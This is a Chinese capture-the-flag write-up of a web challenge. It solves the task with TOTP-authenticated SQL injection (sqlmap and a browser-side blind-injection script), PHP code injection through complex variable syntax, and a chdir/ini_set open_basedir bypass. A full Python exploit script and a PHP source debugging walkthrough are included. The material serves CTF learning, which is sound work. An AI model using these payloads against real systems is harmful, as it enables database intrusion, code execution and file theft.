因为自己太菜了,当时就没怎么看题目,然后坐等wp了来复盘一波,感觉这次的国际赛的web其实难度并不是很深,但是对一个ctfer的基本功要求很高,包括一些知识面、编写脚本以及fuzz的能力,就是一种综合题的即视感。我分享下当时自己的做题过程,希望对一些新手能有所启发。
相关环境(我做题的时候还在开放着)
送给小蛮腰的礼物,她是一位美丽的姑娘。 A gift for Canton Tower, a pretty girl. http://207.148.79.106:8090 (sg-sgp) http://45.76.193.153:8090 (jp-tky) http://222.85.25.41:8090 (cn-zgz) http://136.244.114.21:8090 (fr-par) http://66.42.96.82:8090 (us-lax)
ma下直接搜索下关键字命令找到tamper的路径:
command: locate "*multiplespaces*"
然后进入里面打开修改为我们的注入语句就可以了
这个注入点没有任何过滤,但是需要注意空格的话会被识别为命令的分隔符,我当时就是被这个坑了一波。
怎么测试注入点的呢?
以后对于mysql可以使用这个payload(完美避开坑点):
login xadmin'or(1)# 1234
login xadmin'or(0)# 1234
那么我们抓包看看,能不能丢进sqlmap里面直接跑,如果不能再fuzz规则过滤绕过( 本菜ctf的做题思路)
结果经过测试发现totp参数应该类似个token的东西,果断查看前端代码看下怎么构造的。
直接搜索关键字totp
这些时候估计大佬们一眼看穿了考点,我比较菜,所以google了一下这个东西。
关于这个算法简单理解下
totp是基于时间的一次性密码算法。
根据预共享的密钥与当前时间计算的一次性密码算法。
要求:
1) 令牌与服务器之间必须时钟同步;
2) 令牌与服务器之间必须共享密钥;
3) 令牌与服务器之间必须使用相同的时间步长
算法:
TOTP =Truncate(HMAC-SHA-1(K, (T - T0) / X)) X就是间隔的意思。
这样我们可以得到什么信息呢。
首先这是个密码算法,然后它是共享密钥的。 也就是加密过程就算语言不同,运算过程都是一样的。
那么这个程序后端是怎么校验totp
,这个时候可以看下作者本意的提示(其实看不看都无所谓!可以分析客户端js得到配置的参数)
我们可以直接分析js获取到参数:
可以看到js的加载顺序如下,new ToTp
是在main.js
调用的,所以大概就知道TOTP的初始化位置了,跟进看看。
重点是totp.min.js
出处是:https://github.com/wuyanxin/totp.js (简单读下,很容易就发现这个算法了)
很明显缺省值就是5嘛。因为这个题目作者可能为了降低难度,所以没有任何过滤,这样我们难道还
闲的没事去写脚本注入吗,直接调用sqlmap就好了。
直接flask
起个服务,转发给sqlmap跑就好了,
重点是配置好totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)
也就是长度为8,间隔为5
然后sqlmap跑起来就好了
获取到密码:hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}
然后根据他的提示尝试下hidden command: sh0w_hiiintttt_23333
我们再次ls
查看有个用法,然后cat
一下
```phpp h
De1ta Nuclear Missile Controlling System 这个系统贼有意思叫做核弹控制系统
其实看到`eval` `code` 就可以猜到是考代码注入了。我们先随便试试看看
![image-20190810135349305.png](https://xzfile.aliyuncs.com/media/upload/picture/20190811142200-53dfd8b0-bc00-1.png)
看到这个,当时直接试试了下`targeting a a";phpinfo();//`然后发现过滤,那么我们可以fuzz下
![image-20190810135817065.png](https://xzfile.aliyuncs.com/media/upload/picture/20190811142213-5bd87694-bc00-1.png)
可以看到 0(变量名称) 1(变量内容) 位置分别过滤字符
![image-20190810141738477.png](https://xzfile.aliyuncs.com/media/upload/picture/20190811143342-f62a8150-bc01-1.png)
![image-20190810141724453.png](https://xzfile.aliyuncs.com/media/upload/picture/20190811143418-0b96a5e6-bc02-1.png)
其实这个因为php存在`variable variables`语法,双引号也可以执行代码。
[从一道题讲PHP复杂变量](https://xz.aliyun.com/t/4785) 可以看看这篇文章
这里我直接给出payload:
![image-20190810142126969.png](https://xzfile.aliyuncs.com/media/upload/picture/20190811143435-161b5ade-bc02-1.png)
然后直接写一句话就好了,密码为x,后面就是绕过`open_basedir`的问题了
关于具体的payload可以看我写的完整exp脚本。
### 0x3.1 前端ajax注入
这里我贴一下@一叶飘零师傅写的脚本,原理其实差不多,就是`script`的语言改变了。
```javascript
async function ajax(username) {
return new Promise(function (resolve, reject) {
let ajaxSetting = {
url: host + `/shell.php?a=login%20${encodeURIComponent(username)}%201&validthis=1&totp=${new TOTP("GAXG24JTMZXGKZBU",8).genOTP()}`,
type: "GET",
dataType: 'json',
success: function (response) {
resolve(response);
},
error: function () {
reject("请求失败");
}
}
$.ajax(ajaxSetting);
});
}
async function test(username) {
const res = await ajax(username);
return res.message
}
async function blind() {
let ret = ""
for(let j = 1; j < 100; j++) {
for(let i = 0x20; i < 0x7f; i++) { //here are printable characters
//表名 const message = await test(`admin'and(ascii(substr((select\x0agroup_concat(TABLE_NAME)\x0afrom\x0ainformation_schema.TABLES\x0awhere\x0aTABLE_SCHEMA=database()),${j},1))=${i})#`)
//列名 const message = await test(`admin'and(ascii(substr((select\x0agroup_concat(COLUMN_NAME)\x0afrom\x0ainformation_schema.COLUMNS\x0awhere\x0aTABLE_NAME=0x7573657273),${j},1))=${i})#`)
const message = await test(`admin'and(ascii(substr((select\x0apassword\x0afrom\x0ausers\x0alimit\x0a0,1),${j},1))=${i})#`);
if(message == 'login fail, password incorrect.') {
ret += String.fromCharCode(i);
console.log(ret)
break;
}
}
console.log(`${j}: ${ret}`)
}
return ret;
}
直接在浏览器终端输入,然后输入bind()
即可执行,感觉有点卡顿。
我个人感觉,前端注入能解决很多痛点问题,其实可以做集成专门的一款js注入生成工具,或者把数据转发相当于正向代理那种感觉。(欢迎师傅找我一起研究下)
那么小白如何编写前端ajax注入脚本呢,下面分享下自己的学习过程。
通俗理解下javascript的同步与异步的概念:
同步和异步的理解:当我们发出了请求,并不会等待响应结果,而是会继续执行后面的代码,响应结果的处理在之后的事件循环中解决。那么同步的意思,就是等结果出来之后,代码才会继续往下执行。
我们可以用一个两人问答的场景来比喻异步与同步。A向B问了一个问题之后,不等待B的回答,接着问下一个问题,这是异步。A向B问了一个问题之后,然后就笑呵呵的等着B回答,B回答了之后他才会接着问下一个问题,这是同步。
分析这个脚本的构成:
async function blind() # 主函数,fuzz字符
async function test(username) # 等待异步
async function ajax(username) # 发起请求
编写这个脚本主要就是处理好通过await阻塞处理异步的问题。因为javascript函数默认都是异步的。
我们通过直接利用命令: x=echo(file_get_contens('/flag'));
会发现没有回显,这个时候我们需要考虑下是不是权限的问题还是做了目录限制尝试读取下phpinfo();
首先搜索下:open_basedir
可以发现正是出题人对应的设置:
这个题目其实按照逻辑来说,disable_function
限制了执行命令.
然后
PHP连接方式是:apche2-module
,所以基本不用考虑什么PHP-FPM绕过命令执行问题,而且一般ctf比赛 flag
的权限都是任何人可读(chmod 644 /flag
),又可以很明显看到了open_basedir: /app:/sandbox
所以考点就很清晰了嘛,就是绕过open_basedir
那么怎么绕过open_basedir
呢,其实在4月份的时候就有大神在twitter发出来了方法,在p神的小秘圈也有,虽然我很少打ctf,但是对于一些有趣的技术探讨我还是会去了解一下的,但是没深究原理,趁着这次做题的机会,在网上看了一些文章,感觉对于像我这种菜鸡来说还是挺难懂的,所以我取其精华,自己debug一下php源代码,跟踪一下关键流程。
首先给出绕过的payload
,借用twitter大神的图
简化下payload
:
chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/flag'));
代码意思就是,先改变当前文件(/var/www/html/
)所处的路径为(/var/www/html/css
),查阅官方介绍下这个配置函数ini_set
的一些信息如下:
效果看下:
Description
ini_set ( string
$varname
, string$newvalue
) : stringSets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.
简单翻译下就是这个可以修改php script运行时对应的php.ini的一些配置
ini_set
自身有保护措施的,举个例子
这个本身就是open_basedir
发挥的作用,用来限制php script能操作的目录。
其实这个漏洞简单来讲就是相对路径没处理好,让他不断改变目录结构然后验证的时候被绕过。
一开始我的想法是这样的,
是不行的哦,其实要理解为什么,还是得从底层分析下,了解下chdir
设置什么绕过了php对open_basedir
的判断,关于mac怎么调试php源码
可以参考我之前写的一篇文章初探php扩展之MAC下环境配置篇
再次安利一本书:
我debug的php版本为:
PHP 7.1.8 (cli) (built: Aug 8 2019 22:52:48) ( NTS DEBUG )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2017 Zend Technologies
php src的目录结构前面文章已经说过了,我们重点关注ext
目录即可
ext目录下放的是php里面的扩展,包括我们经常使用的一些核心函数(json_encode,json_decode)同时也包括mysqli、pdo等核心类
xq17@localhost ~/Desktop/个人学习/php扩展学习/debugphp/php-7.1.8/ext tree -L 1 . ├── bcmath ├── bz2 ├── calendar ├── com_dotnet ├── ctype ├── curl ├── date ├── dba ├── dom ├── enchant ├── exif ├── ext_skel ├── ext_skel_win32.php ├── fileinfo ├── filter ├── ftp ├── gd ├── gettext ├── gmp ├── hash ├── iconv ├── imap ├── interbase ├── intl ├── json ├── ldap ├── libxml ├── mbstring ├── mcrypt ├── mysqli ├── mysqlnd ├── oci8 ├── odbc ├── opcache ├── openssl ├── pcntl ├── pcre ├── pdo ├── pdo_dblib ├── pdo_firebird ├── pdo_mysql ├── pdo_oci ├── pdo_odbc ├── pdo_pgsql ├── pdo_sqlite ├── pgsql ├── phar ├── posix ├── pspell ├── readline ├── recode ├── reflection ├── session ├── shmop ├── simplexml ├── skeleton ├── snmp ├── soap ├── sockets ├── spl ├── sqlite3 ├── standard ├── sysvmsg ├── sysvsem ├── sysvshm ├── tidy ├── tokenizer ├── wddx ├── xml ├── xmlreader ├── xmlrpc ├── xmlwriter ├── xsl ├── zip └── zlib
我就不一一介绍了,太多了也啃不动,其实我觉得学习内核看那本书然后自己调试学习主要思想好了,真的要完全读懂我感觉不是很大必要。
我们之间在当前目录下搜索 _FUNCTION(ini_set)
然后直接跟进c源文件,下个断点开启调试
我们先看下这个函数的构成吧
PHP_FUNCTION(ini_set) { zend_string *varname; zend_string *new_value; char *old_value; if (zend_parse_parameters(ZEND_NUM_ARGS(), "SS", &varname, &new_value) == FAILURE) { return; } old_value = zend_ini_string(ZSTR_VAL(varname), (int)ZSTR_LEN(varname), 0); /* copy to return here, because alter might free it! */ if (old_value) { RETVAL_STRING(old_value); } else { RETVAL_FALSE; } #define _CHECK_PATH(var, var_len, ini) php_ini_check_path(var, (int)var_len, ini, sizeof(ini)) /* open basedir check */ if (PG(open_basedir)) { if (_CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "error_log") || _CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "java.class.path") || _CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "java.home") || _CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "mail.log") || _CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "java.library.path") || _CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "vpopmail.directory")) { / if (php_check_open_basedir(ZSTR_VAL(new_value))) { zval_dtor(return_value); RETURN_FALSE; } } } if (zend_alter_ini_entry_ex(varname, new_value, PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0) == FAILURE) { zval_dtor(return_value); RETURN_FALSE; } }
从新手角度出发(ps.作者本身就是个菜鸟)
zend_string *varname; zend_string *new_value; # 在zend_types.h->typedef struct _zend_string zend_string;
struct _zend_string { zend_refcounted_h gc; //变量引用计数 zend_ulong h; /* hash value */ size_t len; //字符串长度,可以防止c语言溢出。 char val[1]; //字符串内容,这是个动态的变长struct };
所以说这里定义两个字符串变量分别为: varname
and new_value
if (zend_parse_parameters(ZEND_NUM_ARGS(), "SS", &varname, &new_value) == FAILURE) { return; } //zend_parse_parameters 这个方法顾名思义就是拿来解析函数参数的,SS代表是两个字符串 //debug进去看下值
其实就是我们代码里面的ini_set('open_basedir', '/tmp');
的参数啦。
继续
char *old_value; ..... old_value = zend_ini_string(ZSTR_VAL(varname), (int)ZSTR_LEN(varname), 0); //ZSTR_开头的宏方法是zend_string结构专属方法 取值 取长度 // zend_ini_string就是加载ini配置中的open_basedir这个原本的值啦
我一开始没设置,所以是空。
#define _CHECK_PATH(var, var_len, ini) php_ini_check_path(var, (int)var_len, ini, sizeof(ini)) // 为了简化下代码用了下define 继续跟进,省略一些无关的细节
里面有个关键函数决定是否能够进行ini_set
也就是绕过这个保护。
//前面的都不是open_basedir,所以直接跳到这里了 if (zend_alter_ini_entry_ex(varname, new_value, PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0) == FAILURE) { zval_dtor(return_value); RETURN_FALSE; }
我们简单跟进这个函数zend_alter_ini_entry_ex
,一直F8指导返回-1,就知道是哪个关键函数了,打个断点,再次跟进就行了。
跟进
ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) == SUCCESS)
按上面的方法我们定位最终失败的函数是:
(php`OnUpdateBaseDir at fopen_wrappers.c:81)
第一次成功:
第二次失败是:
我们果断跟进查看下,ini_entry->on_modify
这个返回值怎么获取的。
可以看到在这里就进行了返回failure
下断点跟进php_check_open_basedir_ex
如果这里能通过话,就会return 0
这样ini_set
设置为..
就会成功
我们跟进看下怎么样才能成功。
这里我们就得好好分析下了,把代码贴出来
跟进php_check_specific_open_basedir
看下怎么处理的。
可以看到这里,做了一些比较简单分析下:
首先我们要明确的是我们一开始代码设置了正确的open_basedir
是\tmp
if (strncmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0) { #endif //这里就是比较 我们设置的 ini_set('open_basedir', '..'); 和 resolved_basedir是否一致 if (resolved_name_len > resolved_basedir_len && resolved_name[resolved_basedir_len - 1] != PHP_DIR_SEPARATOR) { return -1; } else { /* File is in the right directory */ return 0; } }
很明显就不一致。
if (resolved_basedir_len == (resolved_name_len + 1) && resolved_basedir[resolved_basedir_len - 1] == PHP_DIR_SEPARATOR) { #if defined(PHP_WIN32) || defined(NETWARE) if (strncasecmp(resolved_basedir, resolved_name, resolved_name_len) == 0) { #else if (strncmp(resolved_basedir, resolved_name, resolved_name_len) == 0) { #endif return 0; } } return -1; }
这个代码的意思其实就是注释啦/* /openbasedir/ and /openbasedir are the same directory */
虽然长度不一样,但是他们是等价的。 我们可以回溯下这些比较的变量是怎么来的了。
简单跟进下,可以参考下@一叶飘零师傅的,我这里直接简写最后的结果。
这段代码能起到一个利用在当前script脚本目录下设置一个ini_set('open_basedir', '..');
然后可以使得open_basedir
通过chdir('..')
向上跳的功能。
通俗的理解就是:
比如我们的脚本文件路径:
"/Users/xq17/Desktop/个人学习/php扩展学习/debugphp/php7/bin/"
然后ini_set('open_basedir', '..');
的..
参考的是我们脚本的相对路径,然后校对原本open_basedir
值来比较的。
当我们chdir('..')
,也就是把我们脚本文件向上跳一层的时候,那么根据相对路径,
open_basedir
本来的值也要向上跳一层,多次chdir之后就可以跳到根目录下了。
(原理就是chdir他会自己进行一次php_check_open_basedir_ex
,修改了对应的指针值,导致bypass)
下面通过解释下代码来说明下成因:
为了方便调试这个原因我们修改成如下代码再重新进行debug
可以看到这里比较通过了,重点就是path = ..
ini_set('open_basedir', '..');
上面是不是不知道到底在说啥?。。。。。。其实我自己也懵b,上面那条就是懵b分割线。
下面这条谈谈自己新的理解
我们首先还是得从基本出发,回到open_basedir
的作用上来。
Open_basedir是PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法,所有PHP中有关文件读、写的函数都会经过open_basedir的检查。Open_basedir实际上是一些目录的集合,在定义了open_basedir以后,php可以读写的文件、目录都将被限制在这些目录中
那么到底怎么限制的呢,我们使用chdir('..')
能不能跳出open_basedir
呢。
跟进chdir
的函数定义,我们看到解析完参数值之后,就进行了open_basedir
的检查
所以能不能绕过目录限制,其实就是过掉php_check_open_basedir
我们可以选择跟进查看下这个函数
这里注意下拼接取当前脚本的路径:
后面这里就是比较了
strncmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0 //这里把resolved_basedir 和 resolved_name(拼接结果)进行了比较
那么resolved_basedir
怎么来的呢
可以看到将local_oepn_basedir
按照上面根据相对路径或者绝对路径进行了划分。相对的话就拼接了。
所以payload的重点就是通过新建一个子目录,然后设置当前脚本的open_basedir
为..
这样拼接的时候就会跳一级来比较了。
#!/usr/bin/python # -*- coding:utf-8 -*- # type: UnderScoreCase import pyotp as pyotp import string import requests import urllib import re from flask import Flask app = Flask(__name__) totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5) retry_count = 5 timeout = 5 debug = True deep_debug = False proxies = 'http://127.0.0.1:8080' s = requests.session() # all printable char fuzz_char = string.printable @app.route('/sql/username=<username>') def attack_sql(username): attack_url = 'http://136.244.114.21:8090/shell.php' username = urllib.unquote(username).replace(' ', '/**/') # username = urllib.quote(username) params = { 'a' : 'login admi%s admin' % username, 'totp' : totp.now() } if debug: print(params) r = get(0, attack_url, params, 0) return r.content # return 'Hello World %s!' % username def get(session, url, params, proxies): retry = 0 while True: retry += 1 try: if session: if proxies: res = s.get(url, params=params, timeout=timeout, proxies=proxies) else: res = s.get(url, params=params, timeout=timeout) else: if proxies: res = requests.get(url, params=params, proxies=proxies) else: res = requests.get(url, params=params) except Exception as e: if retry >= retry_count: print('timeout or server error!') exit() continue break return res def login(username, password): login_url = 'http://136.244.114.21:8090/shell.php' params = { 'a' : 'login %s %s' % (username, password), 'totp' : totp.now() } if debug: print(params) # start login session=1 r = get(1, login_url, params, 0) return r def fuzzer(characters = fuzz_char ,position = '0'): if debug: print('Fuzzer Start') fuzz_url = 'http://136.244.114.21:8090/shell.php' available_char = [] available_char_ascii = [] payload_params = { 'a' : 'targeting 0 1', 'totp' : totp.now() } for ch in fuzz_char: params = payload_params.copy() params['a'] = params['a'].replace(position, ch) res = get(1 , fuzz_url, params, 0) if deep_debug: print(params) print(payload_params) print(res.content) # break if 'bad code' not in res.text and 'bad position' not in res.text and '"code":0' in res.text: if deep_debug: print(res.content) available_char.append(ch) available_char_ascii.append(ord(ch)) if debug: print('Fuzz Length start...') print(payload_params) fuzz_length = 0 max_len = 30 fuzz_len = 0 length_params = { 'a' : 'targeting 0 1', 'totp' : totp.now() } fuzz_string = '' for count in range(max_len): fuzz_string = fuzz_string + '1' params = length_params.copy() params['a'] = params['a'].replace(position, fuzz_string) res = get(1, fuzz_url, params, 0) if deep_debug: print(position) print(params) print(fuzz_string) break if 'too long' in res.content: fuzz_len = count break print('payload_params:') print(payload_params) print('Position %s maxLength:' % position) print(fuzz_len + 1) print('Position %s Available_char:' % position) print(''.join(available_char)) print('Position %s Available_char_ascii:' % position) print(available_char_ascii) if debug: print('Fuzzer End') return True def destruct(): destruct_url = 'http://136.244.114.21:8090/shell.php' payload = 'destruct' params = { 'a': '%s' % payload, 'totp' : totp.now() } res = get(1, destruct_url, params, 0) if debug: print('destructing.........') print('destruct params:') print(params) print('res_content:') print(res.content) print('destructed.............') if 'missiles destructed' in res.content: return True else: print('Fail ! destruct please check!') exit() def targeting(code, position): targeting_url = 'http://136.244.114.21:8090/shell.php' payload = 'targeting %s %s' % (code, position) params = { 'a' : payload, 'totp' : totp.now() } res = get(1, targeting_url, params, 0) if debug: print('params:') print(params) print('res_code:' + str(res.status_code)) print('res_content:') print(res.content) if res.content == '': print('timeout or server error!') exit() if 'mark' not in res: return False return True def launch(): launch_url = 'http://136.244.114.21:8090/shell.php' payload = 'launch' params = { 'a' : payload, 'totp' : totp.now(), # bypass open_basedir 'x' : "chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/flag'));" # 'x' : 'phpinfo();' # 'f' : 'assert' } if debug: print("starting launch......") print('params:') print(params) print('payload:') print(payload) print("launch end......") return get(1, launch_url, params, 0).content def get_flag(): attack_url = 'http://136.244.114.21:8090/shell.php' username = 'admin' # Get password from sqlmap password = 'hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}' is_login = False if 'login success' in login(username, password).content: is_login = True if debug: print('islogin:') print(is_login) else: print('login fail!') exit() # Solve monitor fuzzer(fuzz_char, '0') fuzzer(fuzz_char, '1') # Clean missiles destruct() # Add code targeting('b', '{$_GET{x}}') targeting('c', '${eval($b)}') flag_res = launch() if debug: print("flag_response start.........") print(flag_res) print("flag_response end...............") flag_pattern = re.compile('[a-zA-Z0-9]{6}{.*?}') flag_is = re.search(flag_pattern, flag_res) if flag_is: flag = flag_is.group() print("Get The Flag: ..................") print(flag) if __name__ == '__main__': # app.run() #开启这个之后可以sqlmap注入 get_flag()
这个是我自己写的,能一键getflag,然后配置下开头的一些参数可以看到调试信息。
除开那个拟态防御的calc题目,还有第一题那个送分题简写外,另外几道题我会分别写文章详细记录下做题过程,以及一些知识点的原理性分析,下一篇 从一个入门pwn的菜鸟web狗角度出发写 从国赛决赛的webpwn到Delctf的webpwn学习之旅。
收集了一些wp方便大家查阅: